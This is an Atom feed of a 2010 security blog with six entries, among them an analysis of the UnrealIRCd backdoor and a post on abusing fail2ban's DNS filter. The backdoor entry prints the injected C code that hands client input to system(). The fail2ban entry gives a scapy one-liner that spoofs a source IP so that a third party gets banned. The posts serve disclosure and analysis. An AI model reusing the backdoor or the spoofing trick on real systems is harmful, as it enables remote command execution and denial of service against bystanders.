<?xml version="1.0" encoding="utf-8" ?>
<?xml-stylesheet href="/blog/templates/default/atom.css" type="text/css" ?>

<feed version="0.3" 
   xmlns="http://purl.org/atom/ns#"
   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
   xmlns:dc="http://purl.org/dc/elements/1.1/"
   xmlns:admin="http://webns.net/mvcb/"
   xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
   xmlns:wfw="http://wellformedweb.org/CommentAPI/">
    <link href="http://nion.modprobe.de/blog/rss.php?version=atom0.3" rel="service.feed" title="nion's blog" type="application/x.atom+xml" />
    <link href="http://nion.modprobe.de/blog/"                        rel="alternate"    title="nion's blog" type="text/html" />
    <link href="http://nion.modprobe.de/blog/rss.php?version=2.0"     rel="alternate"    title="nion's blog" type="application/rss+xml" />
    <title mode="escaped" type="text/html">nion's blog</title>
    <tagline mode="escaped" type="text/html">Imagine a cool title here</tagline>
    <id>http://nion.modprobe.de/blog/</id>
    <modified>2010-08-23T22:39:27Z</modified>
    <generator url="http://www.s9y.org/" version="1.3">Serendipity 1.3 - http://www.s9y.org/</generator>
    <dc:language>en</dc:language>
    <admin:errorReportsTo rdf:resource="mailto:nion@modprobe.de" />
    <info mode="xml" type="text/html">
        <div xmlns="http://www.w3.org/1999/xhtml">You are viewing an ATOM formatted XML site feed. Usually this file is inteded to be viewed in an aggregator or syndication software. If you want to know more about ATOM, please visist <a href="http://atomenabled.org/">Atomenabled.org</a></div>
    </info>

    <entry>
        <link href="http://nion.modprobe.de/blog/archives/695-smpCTF-2010-quals-writeups.html" rel="alternate" title="smpCTF 2010 quals writeups" type="text/html" />
        <author>
            <name>Nico Golde</name>
            <email>blog@ngolde.de</email>        </author>
    
        <issued>2010-08-08T11:31:47Z</issued>
        <created>2010-08-08T11:31:47Z</created>
        <modified>2010-08-23T22:39:27Z</modified>
        <wfw:comment>http://nion.modprobe.de/blog/wfwcomment.php?cid=695</wfw:comment>
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://nion.modprobe.de/blog/rss.php?version=atom0.3&amp;type=comments&amp;cid=695</wfw:commentRss>
    
        <id>http://nion.modprobe.de/blog/archives/695-guid.html</id>
        <title mode="escaped" type="text/html">smpCTF 2010 quals writeups</title>
        <content type="application/xhtml+xml" xml:base="http://nion.modprobe.de/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                I participated together with some friends in this years edition of the <a href="http://www.smpctf.com/">smpCTF</a> quals (actually it took place for the first time). Since we also qualified for the finals we had to submit a writeup of all challenges. For those who are interested, our submission is located on: <a href="http://nion.modprobe.de/smpctf/smpctf.html">http://nion.modprobe.de/smpctf/smpctf.html</a>.<br />
<br />
All in all I had fun during this weekend but I also have to say that I've had more at other <a href="http://en.wikipedia.org/wiki/Capture_the_flag">CTFs</a> in the past. What disappointed me especially is that I'm aware of at least 2 challenges that seem to be only slight alterations of challenges from the DEFCON and Codegate quals. I also missed creativity when it comes to the binary exploitation challenges, most of them have not been challenging. But as said, I enjoyed this weekend, had lots of fun and a big plus was the radio stream during the competition with support from <a href="http://dubstep.fm/">dubstep.fm</a> <img src="http://nion.modprobe.de/blog/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /><br />
<br />
Anyway, congrats to <a href="http://nibbles.tuxfamily.org/">team nibbles</a> who've won the CTF <img src="http://nion.modprobe.de/blog/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /><br />
 
            </div>
        </content>

        <dc:subject>ctf</dc:subject>
<dc:subject>flagseverywhere</dc:subject>
<dc:subject>hacking</dc:subject>
<dc:subject>programming</dc:subject>
<dc:subject>security</dc:subject>

    </entry>
    <entry>
        <link href="http://nion.modprobe.de/blog/archives/694-protocol-design-fail-MMS-notification.html" rel="alternate" title="protocol design fail: MMS notification" type="text/html" />
        <author>
            <name>Nico Golde</name>
            <email>blog@ngolde.de</email>        </author>
    
        <issued>2010-07-28T14:37:23Z</issued>
        <created>2010-07-28T14:37:23Z</created>
        <modified>2010-07-28T14:56:54Z</modified>
        <wfw:comment>http://nion.modprobe.de/blog/wfwcomment.php?cid=694</wfw:comment>
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://nion.modprobe.de/blog/rss.php?version=atom0.3&amp;type=comments&amp;cid=694</wfw:commentRss>
    
        <id>http://nion.modprobe.de/blog/archives/694-guid.html</id>
        <title mode="escaped" type="text/html">protocol design fail: MMS notification</title>
        <content type="application/xhtml+xml" xml:base="http://nion.modprobe.de/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                I was just looking into some specifications of the <a href="http://www.openmobilealliance.org/">openmobilealliance</a> when I got the content for todays WTF moment.<br />
An <a href="http://en.wikipedia.org/wiki/Multimedia_Messaging_Service">MMS</a> notification is usually sent over <a href="http://en.wikipedia.org/wiki/SMS">SMS</a> and encodes various fields including the location of where the MMS content is located so the mobile phone can download it via e.g. <a href="http://en.wikipedia.org/wiki/Wireless_Application_Protocol">WAP</a>.<br />
<br />
Now looking at WAP-209-MMSEncapsulation-20020105-a chapter 6.2. (Multimedia Message Notification) there's an interesting header field included in these notifications, <strong>X-Mms -Message-Size</strong><blockquote>Mandatory.<br />
Full size of message in octets. The value of this header<br />
field could be based on approximate calculation,<br />
therefore it SHOULD NOT be used as a reason to reject<br />
the MM.</blockquote>Clearly the people who developed this must have taken some bad drugs. Adding a length field value to a header and allow it to be based on an approximation rather than an exact value just doesn't explain itself to me.<br />
 
            </div>
        </content>

        <dc:subject>fail</dc:subject>
<dc:subject>phone</dc:subject>
<dc:subject>sms</dc:subject>
<dc:subject>software</dc:subject>
<dc:subject>specs</dc:subject>
<dc:subject>wtf</dc:subject>

    </entry>
    <entry>
        <link href="http://nion.modprobe.de/blog/archives/693-acrobat-reader-stealing-my-passwords.html" rel="alternate" title="acrobat reader stealing my passwords" type="text/html" />
        <author>
            <name>Nico Golde</name>
            <email>blog@ngolde.de</email>        </author>
    
        <issued>2010-06-29T18:24:30Z</issued>
        <created>2010-06-29T18:24:30Z</created>
        <modified>2010-06-29T18:24:30Z</modified>
        <wfw:comment>http://nion.modprobe.de/blog/wfwcomment.php?cid=693</wfw:comment>
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://nion.modprobe.de/blog/rss.php?version=atom0.3&amp;type=comments&amp;cid=693</wfw:commentRss>
    
        <id>http://nion.modprobe.de/blog/archives/693-guid.html</id>
        <title mode="escaped" type="text/html">acrobat reader stealing my passwords</title>
        <content type="application/xhtml+xml" xml:base="http://nion.modprobe.de/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                I know there is some setting in adobe acrobat reader to switch of monitoring of the <a href="http://www.x.org">X</a> paste buffer (which I couldn't find now) and it seems one really wants that. I was very surprised today when I tried to paste a password using <a href="http://nsd.dyndns.org/pwsafe/">pwsafe</a> and observed the following:<br />
<i>$ pwsafe -p fandango<br />
Enter passphrase for /home/nion/.pwsafe.dat:<br />
You are ready to paste the password for hosts.fandango from PRIMARY and CLIPBOARD<br />
Press any key when done<br />
<strong>Sending password for hosts.fandango to acroread@hostname via CLIPBOARD</strong></i><br />
<br />
So apparently acrobat reader is stealing my password from the X paste buffer if the application is running. Especially given all the javascript, malicious pdf file kungfu that is around these days I of course don't find this very amusing.<br />
<br />
Lesson learned: Use xpdf whenever I can even though it really lacks features :/<br />
<br />
<br />
 
            </div>
        </content>

        <dc:subject>pdf</dc:subject>
<dc:subject>pwsafe</dc:subject>
<dc:subject>rant</dc:subject>
<dc:subject>security</dc:subject>
<dc:subject>software</dc:subject>

    </entry>
    <entry>
        <link href="http://nion.modprobe.de/blog/archives/692-UnrealIRCd-backdoored.html" rel="alternate" title="UnrealIRCd backdoored" type="text/html" />
        <author>
            <name>Nico Golde</name>
            <email>blog@ngolde.de</email>        </author>
    
        <issued>2010-06-12T16:22:55Z</issued>
        <created>2010-06-12T16:22:55Z</created>
        <modified>2010-06-13T12:18:59Z</modified>
        <wfw:comment>http://nion.modprobe.de/blog/wfwcomment.php?cid=692</wfw:comment>
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://nion.modprobe.de/blog/rss.php?version=atom0.3&amp;type=comments&amp;cid=692</wfw:commentRss>
    
        <id>http://nion.modprobe.de/blog/archives/692-guid.html</id>
        <title mode="escaped" type="text/html">UnrealIRCd backdoored</title>
        <content type="application/xhtml+xml" xml:base="http://nion.modprobe.de/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                The <a href="http://www.unrealircd.com">UnrealIRCd</a> team has just published an advisory <a href="http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt">advisory</a> stating their release has been backdoored. From the advisory:<blockquote>We found out that the Unreal3.2.8.1.tar.gz file on our mirrors has been<br />
replaced quite a while ago with a version with a backdoor (trojan) in it.<br />
This backdoor allows a person to execute ANY command with the privileges of<br />
the user running the ircd. The backdoor can be executed regardless of any user<br />
restrictions (so even if you have passworded server or hub that doesn't allow<br />
any users in).<br />
<br />
It appears the replacement of the .tar.gz occurred in November 2009 (at least on some mirrors). It seems nobody noticed it until now.</blockquote><br />
I'm personally not using this software but this is probably a shock for lots of sysadmins as this is one of the most popular IRC server applications. The last sentence of this quote is the most shocking to me. This slipped through the cracks for about <strong>8 months</strong> without being noticed! This shows <a href="http://thread.gmane.org/gmane.mail.squirrelmail.announce/35">yet another time</a> that upstream developers need to think about providing ways to allow users to properly verify the integrity of their releases and (which is probably more important) <strong>users need to verify what they download</strong>. There is no point in md5 and friends being broken if nobody cares for hashes anyway.<br />
<br />
The UnrealIRCd people seemed to have learned their lesson and will start PGP/GPG signing their releases from now on. Hopefully their users verify their tarballs then.<br />
So what was the backdoor exactly about? It didn't take me much time to find a backdoored tarball, "gladly" there are still lots of websites mirroring backdoored tarballs.<br />
<br />
The backdoor is pretty small, simple and efficient, a full diff can be found <a href="http://nion.modprobe.de/unrealircd-backdoor.diff">here</a>.<br />
Only two files have been modified, the first one is the important one: s_bsc.c, function read_packet():<br />
<div class="c geshi" style="text-align: left"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #993333;">static</span> <span style="color: #993333;">int</span> read_packet<span style="color: #009900;">&#40;</span>aClient <span style="color: #339933;">*</span>cptr<span style="color: #339933;">,</span> fd_set <span style="color: #339933;">*</span>rfd<span style="color: #009900;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #009900;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; <span style="color: #993333;">int</span> &#160;dolen <span style="color: #339933;">=</span> 0<span style="color: #339933;">,</span> length <span style="color: #339933;">=</span> 0<span style="color: #339933;">,</span> done<span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; time_t now <span style="color: #339933;">=</span> TStime<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>FD_ISSET<span style="color: #009900;">&#40;</span>cptr<span style="color: #339933;">-&gt;</span>fd<span style="color: #339933;">,</span> rfd<span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #339933;">!</span><span style="color: #009900;">&#40;</span>IsPerson<span style="color: #009900;">&#40;</span>cptr<span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> DBufLength<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>cptr<span style="color: #339933;">-&gt;</span>recvQ<span style="color: #009900;">&#41;</span> <span style="color: #339933;">&gt;</span> 6090<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; <span style="color: #009900;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; Hook <span style="color: #339933;">*</span>h<span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; SET_ERRNO<span style="color: #009900;">&#40;</span>0<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339933;">#ifdef USE_SSL</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>cptr<span style="color: #339933;">-&gt;</span>flags <span style="color: #339933;">&amp;</span> FLAGS_SSL<span style="color: #009900;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; length <span style="color: #339933;">=</span> ircd_SSL_read<span style="color: #009900;">&#40;</span>cptr<span style="color: #339933;">,</span> readbuf<span style="color: #339933;">,</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>readbuf<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #b1b100;">else</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339933;">#endif</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; length <span style="color: #339933;">=</span> recv<span style="color: #009900;">&#40;</span>cptr<span style="color: #339933;">-&gt;</span>fd<span style="color: #339933;">,</span> readbuf<span style="color: #339933;">,</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>readbuf<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> 0<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; cptr<span style="color: #339933;">-&gt;</span>lasttime <span style="color: #339933;">=</span> now<span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>cptr<span style="color: #339933;">-&gt;</span>lasttime <span style="color: #339933;">&gt;</span> cptr<span style="color: #339933;">-&gt;</span>since<span style="color: #009900;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; cptr<span style="color: #339933;">-&gt;</span>since <span style="color: #339933;">=</span> cptr<span style="color: #339933;">-&gt;</span>lasttime<span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; cptr<span style="color: #339933;">-&gt;</span>flags <span style="color: #339933;">&amp;=</span> ~<span style="color: #009900;">&#40;</span>FLAGS_PINGSENT <span style="color: #339933;">|</span> FLAGS_NONL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; </div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160;<span style="color: #666666; font-style: italic;">// If not ready, fake it so it isnt closed</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; </div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>length <span style="color: #339933;">&lt;</span> 0 <span style="color: #339933;">&amp;&amp;</span> ERRNO <span style="color: #339933;">==</span> P_EWOULDBLOCK<span style="color: #009900;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>length <span style="color: #339933;">&lt;=</span> 0<span style="color: #009900;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #b1b100;">return</span> length<span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339933;">#ifdef DEBUGMODE3</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>memcmp<span style="color: #009900;">&#40;</span>readbuf<span style="color: #339933;">,</span> DEBUGMODE3_INFO<span style="color: #339933;">,</span> 2<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; &#160; &#160; DEBUG3_LOG<span style="color: #009900;">&#40;</span>readbuf<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339933;">#endif</span></div></li></ol></div><br />
This is <u>the</u> important function to handle client connection data and processes all client data. the modification are the 4 lines at the end.<br />
The code is simple. The first two bytes of readbuf are compared with DEBUGMODE3_INFO. readbuf is used a few lines before to read data from the client connection. So basically this introduces a new irc "command" DEBUGMODE3_INFO.<br />
DEBUGMODE3_INFO is defined as <strong>AB</strong> in include/struct.h. If the received bytes match AB DEBUG3_LOG is called with the read buffer as argument. DEBUG3_LOG is just another macro that resolves to DEBUG3_DOLOG_SYSTEM (defined in the same file) which looks like:<div class="c geshi" style="text-align: left"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339933;">#define DEBUG3_DOLOG_SYSTEM(x) system(x)</span></div></li></ol></div><br />
So this allows an attacker to connect to the irc server and execute arbitrary commands by using the AB comment. This is probably the most simple backdoor one can think of but it's rather efficient and unlikely to be hit by accident from a client. Bad days for UnrealIRCd and there are still many servers out there which are probably backdoored this way, at least it didn't cost me much time to find some :/<br />
 
            </div>
        </content>

        <dc:subject>analysis</dc:subject>
<dc:subject>backdoor</dc:subject>
<dc:subject>fail</dc:subject>
<dc:subject>irc</dc:subject>
<dc:subject>security</dc:subject>
<dc:subject>software</dc:subject>

    </entry>
    <entry>
        <link href="http://nion.modprobe.de/blog/archives/691-fail-of-the-day-opera.html" rel="alternate" title="fail of the day: opera" type="text/html" />
        <author>
            <name>Nico Golde</name>
            <email>blog@ngolde.de</email>        </author>
    
        <issued>2010-06-08T22:40:53Z</issued>
        <created>2010-06-08T22:40:53Z</created>
        <modified>2010-06-08T22:40:53Z</modified>
        <wfw:comment>http://nion.modprobe.de/blog/wfwcomment.php?cid=691</wfw:comment>
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://nion.modprobe.de/blog/rss.php?version=atom0.3&amp;type=comments&amp;cid=691</wfw:commentRss>
    
        <id>http://nion.modprobe.de/blog/archives/691-guid.html</id>
        <title mode="escaped" type="text/html">fail of the day: opera</title>
        <content type="application/xhtml+xml" xml:base="http://nion.modprobe.de/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                I occasionally make use of the report function in opera in case it crashes (which happens quite often on 64bit for me), but if it crashes right when receiving the response<br />
of the crash reporting website you really start to HATE that piece of software.<br />
<br />
<img src="http://nion.modprobe.de/bimg/opera.png"><br />
(notice Last visited URL)<br />
<br />
FAIL! (using 0.60-6351)<br />
 
            </div>
        </content>

        <dc:subject>bugs</dc:subject>
<dc:subject>frustration</dc:subject>
<dc:subject>opera</dc:subject>
<dc:subject>software</dc:subject>
<dc:subject>web</dc:subject>

    </entry>
    <entry>
        <link href="http://nion.modprobe.de/blog/archives/690-fail2ban-+-dns-fail.html" rel="alternate" title="fail2ban + dns = fail" type="text/html" />
        <author>
            <name>Nico Golde</name>
            <email>blog@ngolde.de</email>        </author>
    
        <issued>2010-05-26T20:35:53Z</issued>
        <created>2010-05-26T20:35:53Z</created>
        <modified>2010-05-27T12:53:30Z</modified>
        <wfw:comment>http://nion.modprobe.de/blog/wfwcomment.php?cid=690</wfw:comment>
        <slash:comments>4</slash:comments>
        <wfw:commentRss>http://nion.modprobe.de/blog/rss.php?version=atom0.3&amp;type=comments&amp;cid=690</wfw:commentRss>
    
        <id>http://nion.modprobe.de/blog/archives/690-guid.html</id>
        <title mode="escaped" type="text/html">fail2ban + dns = fail</title>
        <content type="application/xhtml+xml" xml:base="http://nion.modprobe.de/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                <a href="http://www.fail2ban.org/wiki/index.php/Main_Page">fail2ban</a> is used by many people to prevent certain types of <a href="http://en.wikipedia.org/wiki/DoS">DoS</a> attacks. I use it myself to <a href="http://nion.modprobe.de/blog/archives/587-defeating-trackback-spam.html">reduce trackback spam</a> a little bit.<br />
<br />
While this tool becomes quite handy in such situations it is also not generally recommend because you can shoot yourself in the foot. If one of the used filters has a bug and results in incorrect parsing your fail2ban installation might end up banning arbitrary IP addresses or even your own IP range (not even mentioning IP spoofing).<br />
There existed at least <a href="http://secunia.com/advisories/23237/">two</a> <a href="http://secunia.com/advisories/33890/">bugs</a> of this kind to my knowledge and since regex might not always be easy I'm sure there will be more in the future.<br />
<br />
Since I didn't want to look for a specific regex bug in one of the filters I thought about IP spoofing again and looked at fail2bans filters. What I needed was a filter processing log entries of a service listening on a <a href="http://en.wikipedia.org/wiki/UDP">UDP</a> socket as TCP/IP spoofing over the internet doesn't really work well these days. Finding such a filter would mean an instant win situation. To my surprise there is such a filter: <strong>config/filter.d/named.conf</strong><br />
<br />
This filter is used to parse log entries consisting of denied DNS queries produced by <a href="http://www.isc.org/software/bind">bind</a>. Interestingly there is even an article at <a href="http://www.debian-administration.org/article/Blocking_a_DNS_DDOS_using_the_fail2ban_package">debian-administration</a> describing how to setup fail2ban to mitigate a <a href="http://isc.sans.org/diary.html?storyid=5713">DNS DDoS attack</a>. This is of course a bad idea and I have no idea why this filter is shipped in a default fail2ban installation. DoSing abritary IP addresses with this filter in use becomes as easy as firing up <a href="http://www.secdev.org/projects/scapy/">scapy</a> and querying the server with a forged source IP:<br />
<br />
>>> send(IP(dst="81.169.172.197",src="xx.46.63.71")/UDP()/DNS(rd=1,qd=DNSQR(qname="foao.modprobe.de")))<br />
.<br />
Sent 1 packets.<br />
<br />
This ends up as:<br />
May 26 22:32:22 modprobe named[30245]: client xx.46.63.71#53: query 'foao.modprobe.de/A/IN' denied<br />
<br />
in the bind logs which in turn results in:<br />
2010-05-26 22:32:05,551 fail2ban.actions: WARNING [named-refused] Ban xx.46.63.71<br />
<br />
In this example the spoofed IP was xx.46.63.71 which is not under my control.<br />
<br />
Mission statement: don't use fail2ban unless you really want to shoot yourself in the foot or know pretty well what you're doing <img src="http://nion.modprobe.de/blog/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /> 
            </div>
        </content>

        <dc:subject>configuration</dc:subject>
<dc:subject>debian</dc:subject>
<dc:subject>fail</dc:subject>
<dc:subject>fail2ban</dc:subject>
<dc:subject>security</dc:subject>
<dc:subject>software</dc:subject>

    </entry>
</feed>